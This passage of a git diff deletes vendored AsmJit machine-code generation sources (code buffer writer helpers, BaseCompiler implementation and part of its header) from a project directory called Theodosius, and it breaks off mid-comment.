-//! \addtogroup asmjit_assembler -//! \{ - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -struct OffsetFormat; - -// ============================================================================ -// [asmjit::CodeWriter] -// ============================================================================ - -//! Helper that is used to write into a \ref CodeBuffer held by \ref BaseAssembler. -class CodeWriter { -public: - uint8_t* _cursor; - - ASMJIT_INLINE explicit CodeWriter(BaseAssembler* a) noexcept - : _cursor(a->_bufferPtr) {} - - ASMJIT_INLINE Error ensureSpace(BaseAssembler* a, size_t n) noexcept { - size_t remainingSpace = (size_t)(a->_bufferEnd - _cursor); - if (ASMJIT_UNLIKELY(remainingSpace < n)) { - CodeBuffer& buffer = a->_section->_buffer; - Error err = a->_code->growBuffer(&buffer, n); - if (ASMJIT_UNLIKELY(err)) - return a->reportError(err); - _cursor = a->_bufferPtr; - } - return kErrorOk; - } - - ASMJIT_INLINE uint8_t* cursor() const noexcept { return _cursor; } - ASMJIT_INLINE void setCursor(uint8_t* cursor) noexcept { _cursor = cursor; } - ASMJIT_INLINE void advance(size_t n) noexcept { _cursor += n; } - - ASMJIT_INLINE size_t offsetFrom(uint8_t* from) const noexcept { - ASMJIT_ASSERT(_cursor >= from); - return (size_t)(_cursor - from); - } - - template - ASMJIT_INLINE void emit8(T val) noexcept { - typedef typename std::make_unsigned::type U; - _cursor[0] = uint8_t(U(val) & U(0xFF)); - _cursor++; - } - - template - ASMJIT_INLINE void emit8If(T val, Y cond) noexcept { - typedef typename std::make_unsigned::type U; - ASMJIT_ASSERT(size_t(cond) <= 1u); - - _cursor[0] = uint8_t(U(val) & U(0xFF)); - _cursor += size_t(cond); - } - - template - ASMJIT_INLINE void emit16uLE(T val) noexcept { - typedef typename std::make_unsigned::type U; - Support::writeU16uLE(_cursor, uint32_t(U(val) & 0xFFFFu)); - _cursor += 2; - } - - template - ASMJIT_INLINE void emit16uBE(T val) noexcept { - typedef typename std::make_unsigned::type U; - Support::writeU16uBE(_cursor, uint32_t(U(val) & 0xFFFFu)); - _cursor += 2; - } - - template - ASMJIT_INLINE void emit32uLE(T val) noexcept { - typedef typename std::make_unsigned::type U; - Support::writeU32uLE(_cursor, uint32_t(U(val) & 0xFFFFFFFFu)); - _cursor += 4; - } - - template - ASMJIT_INLINE void emit32uBE(T val) noexcept { - typedef typename std::make_unsigned::type U; - Support::writeU32uBE(_cursor, uint32_t(U(val) & 0xFFFFFFFFu)); - _cursor += 4; - } - - ASMJIT_INLINE void emitData(const void* data, size_t size) noexcept { - ASMJIT_ASSERT(size != 0); - memcpy(_cursor, data, size); - _cursor += size; - } - - template - ASMJIT_INLINE void emitValueLE(const T& value, size_t size) noexcept { - typedef typename std::make_unsigned::type U; - ASMJIT_ASSERT(size <= sizeof(T)); - - U v = U(value); - for (uint32_t i = 0; i < size; i++) { - _cursor[i] = uint8_t(v & 0xFFu); - v >>= 8; - } - _cursor += size; - } - - template - ASMJIT_INLINE void emitValueBE(const T& value, size_t size) noexcept { - typedef typename std::make_unsigned::type U; - ASMJIT_ASSERT(size <= sizeof(T)); - - U v = U(value); - for (uint32_t i = 0; i < size; i++) { - _cursor[i] = uint8_t(v >> (sizeof(T) - 8)); - v <<= 8; - } - _cursor += size; - } - - ASMJIT_INLINE void emitZeros(size_t size) noexcept { - ASMJIT_ASSERT(size != 0); - memset(_cursor, 0, size); - _cursor += size; - } - - ASMJIT_INLINE void remove8(uint8_t* where) noexcept { - ASMJIT_ASSERT(where < _cursor); - - uint8_t* p = where; - while (++p != _cursor) - p[-1] = p[0]; - _cursor--; - } - - template - ASMJIT_INLINE void insert8(uint8_t* where, T val) noexcept { - uint8_t* p = _cursor; - - while (p != where) { - p[0] = p[-1]; - p--; - } - - *p = uint8_t(val & 0xFF); - _cursor++; - } - - ASMJIT_INLINE void done(BaseAssembler* a) noexcept { - CodeBuffer& buffer = a->_section->_buffer; - size_t newSize = (size_t)(_cursor - a->_bufferData); - ASMJIT_ASSERT(newSize <= buffer.capacity()); - - a->_bufferPtr = _cursor; - buffer._size = Support::max(buffer._size, newSize); - } -}; - -// ============================================================================ -// [asmjit::CodeWriterUtils] -// ============================================================================ - -namespace CodeWriterUtils { - -bool encodeOffset32(uint32_t* dst, int64_t offset64, const OffsetFormat& format) noexcept; -bool encodeOffset64(uint64_t* dst, int64_t offset64, const OffsetFormat& format) noexcept; - -bool writeOffset(void* dst, int64_t offset64, const OffsetFormat& format) noexcept; - -} // {CodeWriterUtils} - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_CODEBUFFERWRITER_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/compiler.cpp b/src/Theodosius/asmjit/core/compiler.cpp deleted file mode 100644 index 4d7baab..0000000 --- a/src/Theodosius/asmjit/core/compiler.cpp +++ /dev/null @@ -1,628 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_COMPILER - -#include "../core/assembler.h" -#include "../core/compiler.h" -#include "../core/cpuinfo.h" -#include "../core/logger.h" -#include "../core/rapass_p.h" -#include "../core/rastack_p.h" -#include "../core/support.h" -#include "../core/type.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::GlobalConstPoolPass] -// ============================================================================ - -class GlobalConstPoolPass : public Pass { - typedef Pass Base; - ASMJIT_NONCOPYABLE(GlobalConstPoolPass) - - GlobalConstPoolPass() noexcept : Pass("GlobalConstPoolPass") {} - - Error run(Zone* zone, Logger* logger) override { - DebugUtils::unused(zone, logger); - - // Flush the global constant pool. - BaseCompiler* compiler = static_cast(_cb); - if (compiler->_globalConstPool) { - compiler->addAfter(compiler->_globalConstPool, compiler->lastNode()); - compiler->_globalConstPool = nullptr; - } - - return kErrorOk; - } -}; - -// ============================================================================ -// [asmjit::BaseCompiler - Construction / Destruction] -// ============================================================================ - -BaseCompiler::BaseCompiler() noexcept - : BaseBuilder(), - _func(nullptr), - _vRegZone(4096 - Zone::kBlockOverhead), - _vRegArray(), - _localConstPool(nullptr), - _globalConstPool(nullptr) { - - _emitterType = uint8_t(kTypeCompiler); - _validationFlags = uint8_t(InstAPI::kValidationFlagVirtRegs); -} -BaseCompiler::~BaseCompiler() noexcept {} - -// ============================================================================ -// [asmjit::BaseCompiler - Function Management] -// ============================================================================ - -Error BaseCompiler::_newFuncNode(FuncNode** out, const FuncSignature& signature) { - *out = nullptr; - - // Create FuncNode together with all the required surrounding nodes. - FuncNode* funcNode; - ASMJIT_PROPAGATE(_newNodeT(&funcNode)); - ASMJIT_PROPAGATE(_newLabelNode(&funcNode->_exitNode)); - ASMJIT_PROPAGATE(_newNodeT(&funcNode->_end, SentinelNode::kSentinelFuncEnd)); - - // Initialize the function's detail info. - Error err = funcNode->detail().init(signature, environment()); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - // If the Target guarantees greater stack alignment than required by the - // calling convention then override it as we can prevent having to perform - // dynamic stack alignment - uint32_t environmentStackAlignment = _environment.stackAlignment(); - - if (funcNode->_funcDetail._callConv.naturalStackAlignment() < environmentStackAlignment) - funcNode->_funcDetail._callConv.setNaturalStackAlignment(environmentStackAlignment); - - // Initialize the function frame. - err = funcNode->_frame.init(funcNode->_funcDetail); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - // Allocate space for function arguments. - funcNode->_args = nullptr; - if (funcNode->argCount() != 0) { - funcNode->_args = _allocator.allocT(funcNode->argCount() * sizeof(FuncNode::ArgPack)); - if (ASMJIT_UNLIKELY(!funcNode->_args)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - memset(funcNode->_args, 0, funcNode->argCount() * sizeof(FuncNode::ArgPack)); - } - - ASMJIT_PROPAGATE(registerLabelNode(funcNode)); - - *out = funcNode; - return kErrorOk; -} - -Error BaseCompiler::_addFuncNode(FuncNode** out, const FuncSignature& signature) { - ASMJIT_PROPAGATE(_newFuncNode(out, signature)); - addFunc(*out); - return kErrorOk; -} - -Error BaseCompiler::_newRetNode(FuncRetNode** out, const Operand_& o0, const Operand_& o1) { - uint32_t opCount = !o1.isNone() ? 2u : !o0.isNone() ? 1u : 0u; - FuncRetNode* node; - - ASMJIT_PROPAGATE(_newNodeT(&node)); - node->setOpCount(opCount); - node->setOp(0, o0); - node->setOp(1, o1); - node->resetOpRange(2, node->opCapacity()); - - *out = node; - return kErrorOk; -} - -Error BaseCompiler::_addRetNode(FuncRetNode** out, const Operand_& o0, const Operand_& o1) { - ASMJIT_PROPAGATE(_newRetNode(out, o0, o1)); - addNode(*out); - return kErrorOk; -} - -FuncNode* BaseCompiler::addFunc(FuncNode* func) { - ASMJIT_ASSERT(_func == nullptr); - _func = func; - - addNode(func); // Function node. - BaseNode* prev = cursor(); // {CURSOR}. - addNode(func->exitNode()); // Function exit label. - addNode(func->endNode()); // Function end sentinel. - - _setCursor(prev); - return func; -} - -Error BaseCompiler::endFunc() { - FuncNode* func = _func; - - if (ASMJIT_UNLIKELY(!func)) - return reportError(DebugUtils::errored(kErrorInvalidState)); - - // Add the local constant pool at the end of the function (if exists). - if (_localConstPool) { - setCursor(func->endNode()->prev()); - addNode(_localConstPool); - _localConstPool = nullptr; - } - - // Mark as finished. - _func = nullptr; - - SentinelNode* end = func->endNode(); - setCursor(end); - - return kErrorOk; -} - -Error BaseCompiler::_setArg(size_t argIndex, size_t valueIndex, const BaseReg& r) { - FuncNode* func = _func; - - if (ASMJIT_UNLIKELY(!func)) - return reportError(DebugUtils::errored(kErrorInvalidState)); - - if (ASMJIT_UNLIKELY(!isVirtRegValid(r))) - return reportError(DebugUtils::errored(kErrorInvalidVirtId)); - - VirtReg* vReg = virtRegByReg(r); - func->setArg(argIndex, valueIndex, vReg); - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseCompiler - Function Invocation] -// ============================================================================ - -Error BaseCompiler::_newInvokeNode(InvokeNode** out, uint32_t instId, const Operand_& o0, const FuncSignature& signature) { - InvokeNode* node; - ASMJIT_PROPAGATE(_newNodeT(&node, instId, 0u)); - - node->setOpCount(1); - node->setOp(0, o0); - node->resetOpRange(1, node->opCapacity()); - - Error err = node->detail().init(signature, environment()); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - // Skip the allocation if there are no arguments. - uint32_t argCount = signature.argCount(); - if (argCount) { - node->_args = static_cast(_allocator.alloc(argCount * sizeof(InvokeNode::OperandPack))); - if (!node->_args) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - memset(node->_args, 0, argCount * sizeof(InvokeNode::OperandPack)); - } - - *out = node; - return kErrorOk; -} - -Error BaseCompiler::_addInvokeNode(InvokeNode** out, uint32_t instId, const Operand_& o0, const FuncSignature& signature) { - ASMJIT_PROPAGATE(_newInvokeNode(out, instId, o0, signature)); - addNode(*out); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseCompiler - Virtual Registers] -// ============================================================================ - -static void BaseCompiler_assignGenericName(BaseCompiler* self, VirtReg* vReg) { - uint32_t index = unsigned(Operand::virtIdToIndex(vReg->_id)); - - char buf[64]; - int size = snprintf(buf, ASMJIT_ARRAY_SIZE(buf), "%%%u", unsigned(index)); - - ASMJIT_ASSERT(size > 0 && size < int(ASMJIT_ARRAY_SIZE(buf))); - vReg->_name.setData(&self->_dataZone, buf, unsigned(size)); -} - -Error BaseCompiler::newVirtReg(VirtReg** out, uint32_t typeId, uint32_t signature, const char* name) { - *out = nullptr; - uint32_t index = _vRegArray.size(); - - if (ASMJIT_UNLIKELY(index >= uint32_t(Operand::kVirtIdCount))) - return reportError(DebugUtils::errored(kErrorTooManyVirtRegs)); - - if (ASMJIT_UNLIKELY(_vRegArray.willGrow(&_allocator) != kErrorOk)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - VirtReg* vReg = _vRegZone.allocZeroedT(); - if (ASMJIT_UNLIKELY(!vReg)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - uint32_t size = Type::sizeOf(typeId); - uint32_t alignment = Support::min(size, 64); - - vReg = new(vReg) VirtReg(Operand::indexToVirtId(index), signature, size, alignment, typeId); - -#ifndef ASMJIT_NO_LOGGING - if (name && name[0] != '\0') - vReg->_name.setData(&_dataZone, name, SIZE_MAX); - else - BaseCompiler_assignGenericName(this, vReg); -#else - DebugUtils::unused(name); -#endif - - _vRegArray.appendUnsafe(vReg); - *out = vReg; - - return kErrorOk; -} - -Error BaseCompiler::_newReg(BaseReg* out, uint32_t typeId, const char* name) { - RegInfo regInfo; - out->reset(); - - Error err = ArchUtils::typeIdToRegInfo(arch(), typeId, &typeId, ®Info); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - VirtReg* vReg; - ASMJIT_PROPAGATE(newVirtReg(&vReg, typeId, regInfo.signature(), name)); - - out->_initReg(regInfo.signature(), vReg->id()); - return kErrorOk; -} - -Error BaseCompiler::_newRegFmt(BaseReg* out, uint32_t typeId, const char* fmt, ...) { - va_list ap; - StringTmp<256> sb; - - va_start(ap, fmt); - sb.appendVFormat(fmt, ap); - va_end(ap); - - return _newReg(out, typeId, sb.data()); -} - -Error BaseCompiler::_newReg(BaseReg* out, const BaseReg& ref, const char* name) { - out->reset(); - - RegInfo regInfo; - uint32_t typeId; - - if (isVirtRegValid(ref)) { - VirtReg* vRef = virtRegByReg(ref); - typeId = vRef->typeId(); - - // NOTE: It's possible to cast one register type to another if it's the - // same register group. However, VirtReg always contains the TypeId that - // was used to create the register. This means that in some cases we may - // end up having different size of `ref` and `vRef`. In such case we - // adjust the TypeId to match the `ref` register type instead of the - // original register type, which should be the expected behavior. - uint32_t typeSize = Type::sizeOf(typeId); - uint32_t refSize = ref.size(); - - if (typeSize != refSize) { - if (Type::isInt(typeId)) { - // GP register - change TypeId to match `ref`, but keep sign of `vRef`. - switch (refSize) { - case 1: typeId = Type::kIdI8 | (typeId & 1); break; - case 2: typeId = Type::kIdI16 | (typeId & 1); break; - case 4: typeId = Type::kIdI32 | (typeId & 1); break; - case 8: typeId = Type::kIdI64 | (typeId & 1); break; - default: typeId = Type::kIdVoid; break; - } - } - else if (Type::isMmx(typeId)) { - // MMX register - always use 64-bit. - typeId = Type::kIdMmx64; - } - else if (Type::isMask(typeId)) { - // Mask register - change TypeId to match `ref` size. - switch (refSize) { - case 1: typeId = Type::kIdMask8; break; - case 2: typeId = Type::kIdMask16; break; - case 4: typeId = Type::kIdMask32; break; - case 8: typeId = Type::kIdMask64; break; - default: typeId = Type::kIdVoid; break; - } - } - else { - // VEC register - change TypeId to match `ref` size, keep vector metadata. - uint32_t elementTypeId = Type::baseOf(typeId); - - switch (refSize) { - case 16: typeId = Type::_kIdVec128Start + (elementTypeId - Type::kIdI8); break; - case 32: typeId = Type::_kIdVec256Start + (elementTypeId - Type::kIdI8); break; - case 64: typeId = Type::_kIdVec512Start + (elementTypeId - Type::kIdI8); break; - default: typeId = Type::kIdVoid; break; - } - } - - if (typeId == Type::kIdVoid) - return reportError(DebugUtils::errored(kErrorInvalidState)); - } - } - else { - typeId = ref.type(); - } - - Error err = ArchUtils::typeIdToRegInfo(arch(), typeId, &typeId, ®Info); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - VirtReg* vReg; - ASMJIT_PROPAGATE(newVirtReg(&vReg, typeId, regInfo.signature(), name)); - - out->_initReg(regInfo.signature(), vReg->id()); - return kErrorOk; -} - -Error BaseCompiler::_newRegFmt(BaseReg* out, const BaseReg& ref, const char* fmt, ...) { - va_list ap; - StringTmp<256> sb; - - va_start(ap, fmt); - sb.appendVFormat(fmt, ap); - va_end(ap); - - return _newReg(out, ref, sb.data()); -} - -Error BaseCompiler::_newStack(BaseMem* out, uint32_t size, uint32_t alignment, const char* name) { - out->reset(); - - if (size == 0) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - if (alignment == 0) - alignment = 1; - - if (!Support::isPowerOf2(alignment)) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - if (alignment > 64) - alignment = 64; - - VirtReg* vReg; - ASMJIT_PROPAGATE(newVirtReg(&vReg, 0, 0, name)); - - vReg->_virtSize = size; - vReg->_isStack = true; - vReg->_alignment = uint8_t(alignment); - - // Set the memory operand to GPD/GPQ and its id to VirtReg. - *out = BaseMem(BaseMem::Decomposed { _gpRegInfo.type(), vReg->id(), BaseReg::kTypeNone, 0, 0, 0, BaseMem::kSignatureMemRegHomeFlag }); - return kErrorOk; -} - -Error BaseCompiler::setStackSize(uint32_t virtId, uint32_t newSize, uint32_t newAlignment) { - if (!isVirtIdValid(virtId)) - return DebugUtils::errored(kErrorInvalidVirtId); - - if (newAlignment && !Support::isPowerOf2(newAlignment)) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - if (newAlignment > 64) - newAlignment = 64; - - VirtReg* vReg = virtRegById(virtId); - if (newSize) - vReg->_virtSize = newSize; - - if (newAlignment) - vReg->_alignment = uint8_t(newAlignment); - - // This is required if the RAPass is already running. There is a chance that - // a stack-slot has been already allocated and in that case it has to be - // updated as well, otherwise we would allocate wrong amount of memory. - RAWorkReg* workReg = vReg->_workReg; - if (workReg && workReg->_stackSlot) { - workReg->_stackSlot->_size = vReg->_virtSize; - workReg->_stackSlot->_alignment = vReg->_alignment; - } - - return kErrorOk; -} - -Error BaseCompiler::_newConst(BaseMem* out, uint32_t scope, const void* data, size_t size) { - out->reset(); - ConstPoolNode** pPool; - - if (scope == ConstPool::kScopeLocal) - pPool = &_localConstPool; - else if (scope == ConstPool::kScopeGlobal) - pPool = &_globalConstPool; - else - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - if (!*pPool) - ASMJIT_PROPAGATE(_newConstPoolNode(pPool)); - - ConstPoolNode* pool = *pPool; - size_t off; - Error err = pool->add(data, size, off); - - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - *out = BaseMem(BaseMem::Decomposed { - Label::kLabelTag, // Base type. - pool->labelId(), // Base id. - 0, // Index type. - 0, // Index id. - int32_t(off), // Offset. - uint32_t(size), // Size. - 0 // Flags. - }); - - return kErrorOk; -} - -void BaseCompiler::rename(const BaseReg& reg, const char* fmt, ...) { - if (!reg.isVirtReg()) return; - - VirtReg* vReg = virtRegById(reg.id()); - if (!vReg) return; - - if (fmt && fmt[0] != '\0') { - char buf[128]; - va_list ap; - - va_start(ap, fmt); - vsnprintf(buf, ASMJIT_ARRAY_SIZE(buf), fmt, ap); - va_end(ap); - - vReg->_name.setData(&_dataZone, buf, SIZE_MAX); - } - else { - BaseCompiler_assignGenericName(this, vReg); - } -} - -// ============================================================================ -// [asmjit::BaseCompiler - Jump Annotations] -// ============================================================================ - -Error BaseCompiler::newJumpNode(JumpNode** out, uint32_t instId, uint32_t instOptions, const Operand_& o0, JumpAnnotation* annotation) { - JumpNode* node = _allocator.allocT(); - uint32_t opCount = 1; - - *out = node; - if (ASMJIT_UNLIKELY(!node)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - node = new(node) JumpNode(this, instId, instOptions, opCount, annotation); - node->setOp(0, o0); - node->resetOpRange(opCount, JumpNode::kBaseOpCapacity); - - return kErrorOk; -} - -Error BaseCompiler::emitAnnotatedJump(uint32_t instId, const Operand_& o0, JumpAnnotation* annotation) { - uint32_t options = instOptions() | forcedInstOptions(); - RegOnly extra = extraReg(); - const char* comment = inlineComment(); - - resetInstOptions(); - resetInlineComment(); - resetExtraReg(); - - JumpNode* node; - ASMJIT_PROPAGATE(newJumpNode(&node, instId, options, o0, annotation)); - - node->setExtraReg(extra); - if (comment) - node->setInlineComment(static_cast(_dataZone.dup(comment, strlen(comment), true))); - - addNode(node); - return kErrorOk; -} - -JumpAnnotation* BaseCompiler::newJumpAnnotation() { - if (_jumpAnnotations.grow(&_allocator, 1) != kErrorOk) { - reportError(DebugUtils::errored(kErrorOutOfMemory)); - return nullptr; - } - - uint32_t id = _jumpAnnotations.size(); - JumpAnnotation* jumpAnnotation = _allocator.newT(this, id); - - if (!jumpAnnotation) { - reportError(DebugUtils::errored(kErrorOutOfMemory)); - return nullptr; - } - - _jumpAnnotations.appendUnsafe(jumpAnnotation); - return jumpAnnotation; -} - -// ============================================================================ -// [asmjit::BaseCompiler - Events] -// ============================================================================ - -Error BaseCompiler::onAttach(CodeHolder* code) noexcept { - ASMJIT_PROPAGATE(Base::onAttach(code)); - - const ArchTraits& archTraits = ArchTraits::byArch(code->arch()); - uint32_t nativeRegType = Environment::is32Bit(code->arch()) ? BaseReg::kTypeGp32 : BaseReg::kTypeGp64; - _gpRegInfo.setSignature(archTraits.regTypeToSignature(nativeRegType)); - - Error err = addPassT(); - if (ASMJIT_UNLIKELY(err)) { - onDetach(code); - return err; - } - - return kErrorOk; -} - -Error BaseCompiler::onDetach(CodeHolder* code) noexcept { - _func = nullptr; - _localConstPool = nullptr; - _globalConstPool = nullptr; - - _vRegArray.reset(); - _vRegZone.reset(); - - return Base::onDetach(code); -} - -// ============================================================================ -// [asmjit::FuncPass - Construction / Destruction] -// ============================================================================ - -FuncPass::FuncPass(const char* name) noexcept - : Pass(name) {} - -// ============================================================================ -// [asmjit::FuncPass - Run] -// ============================================================================ - -Error FuncPass::run(Zone* zone, Logger* logger) { - BaseNode* node = cb()->firstNode(); - if (!node) return kErrorOk; - - do { - if (node->type() == BaseNode::kNodeFunc) { - FuncNode* func = node->as(); - node = func->endNode(); - ASMJIT_PROPAGATE(runOnFunction(zone, logger, func)); - } - - // Find a function by skipping all nodes that are not `kNodeFunc`. - do { - node = node->next(); - } while (node && node->type() != BaseNode::kNodeFunc); - } while (node); - - return kErrorOk; -} - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_COMPILER diff --git a/src/Theodosius/asmjit/core/compiler.h b/src/Theodosius/asmjit/core/compiler.h deleted file mode 100644 index eb2a5aa..0000000 --- a/src/Theodosius/asmjit/core/compiler.h +++ /dev/null @@ -1,763 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_COMPILER_H_INCLUDED -#define ASMJIT_CORE_COMPILER_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_COMPILER - -#include "../core/assembler.h" -#include "../core/builder.h" -#include "../core/constpool.h" -#include "../core/compilerdefs.h" -#include "../core/func.h" -#include "../core/inst.h" -#include "../core/operand.h" -#include "../core/support.h" -#include "../core/zone.h" -#include "../core/zonevector.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class JumpAnnotation; -class JumpNode; -class FuncNode; -class FuncRetNode; -class InvokeNode; - -//! \addtogroup asmjit_compiler -//! \{ - -// ============================================================================ -// [asmjit::BaseCompiler] -// ============================================================================ - -//! Code emitter that uses virtual registers and performs register allocation. -//! -//! Compiler is a high-level code-generation tool that provides register -//! allocation and automatic handling of function calling conventions. It was -//! primarily designed for merging multiple parts of code into a function -//! without worrying about registers and function calling conventions. -//! -//! BaseCompiler can be used, with a minimum effort, to handle 32-bit and -//! 64-bit code generation within a single code base. -//! -//! BaseCompiler is based on BaseBuilder and contains all the features it -//! provides. It means that the code it stores can be modified (removed, added, -//! injected) and analyzed. When the code is finalized the compiler can emit -//! the code into an Assembler to translate the abstract representation into a -//! machine code. -//! -//! Check out architecture specific compilers for more details and examples: -//! -//! - \ref x86::Compiler - X86/X64 compiler implementation. -class ASMJIT_VIRTAPI BaseCompiler : public BaseBuilder { -public: - ASMJIT_NONCOPYABLE(BaseCompiler) - typedef BaseBuilder Base; - - //! Current function. - FuncNode* _func; - //! Allocates `VirtReg` objects. - Zone _vRegZone; - //! Stores array of `VirtReg` pointers. - ZoneVector _vRegArray; - //! Stores jump annotations. - ZoneVector _jumpAnnotations; - - //! Local constant pool, flushed at the end of each function. - ConstPoolNode* _localConstPool; - //! Global constant pool, flushed by `finalize()`. - ConstPoolNode* _globalConstPool; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `BaseCompiler` instance. - ASMJIT_API BaseCompiler() noexcept; - //! Destroys the `BaseCompiler` instance. - ASMJIT_API virtual ~BaseCompiler() noexcept; - - //! \} - - //! \name Function Management - //! \{ - - //! Returns the current function. - inline FuncNode* func() const noexcept { return _func; } - - //! Creates a new \ref FuncNode. - ASMJIT_API Error _newFuncNode(FuncNode** out, const FuncSignature& signature); - //! Creates a new \ref FuncNode adds it to the compiler. - ASMJIT_API Error _addFuncNode(FuncNode** out, const FuncSignature& signature); - - //! Creates a new \ref FuncRetNode. - ASMJIT_API Error _newRetNode(FuncRetNode** out, const Operand_& o0, const Operand_& o1); - //! Creates a new \ref FuncRetNode and adds it to the compiler. - ASMJIT_API Error _addRetNode(FuncRetNode** out, const Operand_& o0, const Operand_& o1); - - //! Creates a new \ref FuncNode with the given `signature` and returns it. - inline FuncNode* newFunc(const FuncSignature& signature) { - FuncNode* node; - _newFuncNode(&node, signature); - return node; - } - - //! Creates a new \ref FuncNode with the given `signature`, adds it to the - //! compiler by using the \ref addFunc(FuncNode*) overload, and returns it. - inline FuncNode* addFunc(const FuncSignature& signature) { - FuncNode* node; - _addFuncNode(&node, signature); - return node; - } - - //! Adds a function `node` to the instruction stream. - ASMJIT_API FuncNode* addFunc(FuncNode* func); - //! Emits a sentinel that marks the end of the current function. - ASMJIT_API Error endFunc(); - - ASMJIT_API Error _setArg(size_t argIndex, size_t valueIndex, const BaseReg& reg); - - //! Sets a function argument at `argIndex` to `reg`. - inline Error setArg(size_t argIndex, const BaseReg& reg) { return _setArg(argIndex, 0, reg); } - //! Sets a function argument at `argIndex` at `valueIndex` to `reg`. - inline Error setArg(size_t argIndex, size_t valueIndex, const BaseReg& reg) { return _setArg(argIndex, valueIndex, reg); } - - inline FuncRetNode* newRet(const Operand_& o0, const Operand_& o1) { - FuncRetNode* node; - _newRetNode(&node, o0, o1); - return node; - } - - inline FuncRetNode* addRet(const Operand_& o0, const Operand_& o1) { - FuncRetNode* node; - _addRetNode(&node, o0, o1); - return node; - } - - //! \} - - //! \name Function Invocation - //! \{ - - //! Creates a new \ref InvokeNode. - ASMJIT_API Error _newInvokeNode(InvokeNode** out, uint32_t instId, const Operand_& o0, const FuncSignature& signature); - //! Creates a new \ref InvokeNode and adds it to Compiler. - ASMJIT_API Error _addInvokeNode(InvokeNode** out, uint32_t instId, const Operand_& o0, const FuncSignature& signature); - - //! Creates a new `InvokeNode`. - inline InvokeNode* newCall(uint32_t instId, const Operand_& o0, const FuncSignature& signature) { - InvokeNode* node; - _newInvokeNode(&node, instId, o0, signature); - return node; - } - - //! Adds a new `InvokeNode`. - inline InvokeNode* addCall(uint32_t instId, const Operand_& o0, const FuncSignature& signature) { - InvokeNode* node; - _addInvokeNode(&node, instId, o0, signature); - return node; - } - - //! \} - - //! \name Virtual Registers - //! \{ - - //! Creates a new virtual register representing the given `typeId` and `signature`. - //! - //! \note This function is public, but it's not generally recommended to be used - //! by AsmJit users, use architecture-specific `newReg()` functionality instead - //! or functions like \ref _newReg() and \ref _newRegFmt(). - ASMJIT_API Error newVirtReg(VirtReg** out, uint32_t typeId, uint32_t signature, const char* name); - - //! Creates a new virtual register of the given `typeId` and stores it to `out` operand. - ASMJIT_API Error _newReg(BaseReg* out, uint32_t typeId, const char* name = nullptr); - - //! Creates a new virtual register of the given `typeId` and stores it to `out` operand. - //! - //! \note This version accepts a snprintf() format `fmt` followed by a variadic arguments. - ASMJIT_API Error _newRegFmt(BaseReg* out, uint32_t typeId, const char* fmt, ...); - - //! Creates a new virtual register compatible with the provided reference register `ref`. - ASMJIT_API Error _newReg(BaseReg* out, const BaseReg& ref, const char* name = nullptr); - - //! Creates a new virtual register compatible with the provided reference register `ref`. - //! - //! \note This version accepts a snprintf() format `fmt` followed by a variadic arguments. - ASMJIT_API Error _newRegFmt(BaseReg* out, const BaseReg& ref, const char* fmt, ...); - - //! Tests whether the given `id` is a valid virtual register id. - inline bool isVirtIdValid(uint32_t id) const noexcept { - uint32_t index = Operand::virtIdToIndex(id); - return index < _vRegArray.size(); - } - //! Tests whether the given `reg` is a virtual register having a valid id. - inline bool isVirtRegValid(const BaseReg& reg) const noexcept { - return isVirtIdValid(reg.id()); - } - - //! Returns \ref VirtReg associated with the given `id`. - inline VirtReg* virtRegById(uint32_t id) const noexcept { - ASMJIT_ASSERT(isVirtIdValid(id)); - return _vRegArray[Operand::virtIdToIndex(id)]; - } - - //! Returns \ref VirtReg associated with the given `reg`. - inline VirtReg* virtRegByReg(const BaseReg& reg) const noexcept { return virtRegById(reg.id()); } - - //! Returns \ref VirtReg associated with the given 